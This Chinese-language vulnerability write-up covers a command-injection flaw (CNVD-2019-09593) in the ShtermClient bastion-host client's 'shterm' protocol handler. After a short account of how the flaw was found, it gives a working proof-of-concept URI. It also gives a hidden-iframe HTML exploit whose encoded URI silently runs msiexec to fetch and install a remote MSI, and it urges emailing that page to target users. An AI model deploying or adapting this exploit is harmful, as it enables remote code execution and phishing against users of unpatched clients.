一、基本信息
参考:https://www.cnvd.org.cn/flaw/show/1559039
补丁信息:该漏洞的修复补丁已于2019年4月1日发布。如果客户尚未修复该补丁,可联系齐治科技的技术支持人员获得具体帮助。
二、漏洞挖掘过程
这是我第一次接触运维堡垒机,通过堡垒机登录目标服务器/应用,就像在本地直接打开一样,觉得很神奇。
1、挖掘过程
首先,在安装齐治运维堡垒机客户端软件ShtermClient后,会在计算机上注册一个伪协议“shterm”。堡垒机正是通过该协议,调用本地程序打开了连接到堡垒机的通道。如下图是chrome浏览器打开链接时的提示。
我们可以在注册表中找到它,Command子项指明了如何处理shterm协议的URI。
通过对该过程的抓包分析,发现将”app”:”mstsc”改为”app”:”calc”,生成的shterm URI即可打开本地的计算器。一度认为命令只能注入app参数,后来使用Procmon.exe监控LoadShell.exe的执行,发现会在%tmp%目录下生成一些日志文件,通过分析日志文件以及多次测试,得到了最终可行的利用方案。
Client/inflate.php源代码,可见服务端仅是将提交的数据,先进行压缩,在进行base64编码后即输出。
2、漏洞验证
如果你使用了存在漏洞的shtermclient,在浏览器中打开以下链接,将会在本机打开计算器calc.exe。
shterm://eJyrVkosKFCyUkpOzElWqgUAIf8Ejw==
三、漏洞利用
1、搭建测试环境
首先在靶机上安装ShtermClient-2.1.1。
然后,在kali上搭建PHP环境,以便生成shterm URI,见下图。
在靶机的浏览器中打开链接,即可弹出计算器。
2、Exploit
如下图,提交该POST请求,生成的shterm URI将会执行命令:
msiexec.exe /q /n /i https://github.com/Yasushi/putty/archive/master.msi
然后,把shterm URI放入iframe中,将该html页面的地址通过邮件或者你能想到的其他途径发给目标用户,即可达到不可告人的目的。
<html> <head> <meta charset="utf-8" /> <title>demo</title></head> <body> <h1>demo</h1> <h1>齐治堡垒机ShtermClient-2.1.1命令执行漏洞(CNVD-2019-09593)</h1> <br><h1>Hacked by StudyCat</h1> <iframe width="1" height="1" src="shterm://eJx1T8tqwzAQ/BWz5yC0tuu4uvWWQyAuDTm2yI9i48c6kt0klP57VzK4aaFCh5nZ2dndTygvoKBRGCUJbKCsPdsmKRNtmViVPsZxHByOGaonSbv96fwsB0RMIva8a+9BKeIHgSl/FUb8XPvss0KGtlhhPo7LQDfODoxf6qkyfWboentbc8KtK7tt/khuniGa7KzLvhms06bftuA1+CeTK/e9TK03ckhb3XLSpqyJ2mVBFnsamokMKLkBdjlZslwVKxx/oO7WI7U/stBdweSj4gAIBQoXOZvufltM4esbMSFnCg=="></iframe> </body> </html>
转载请注明出处。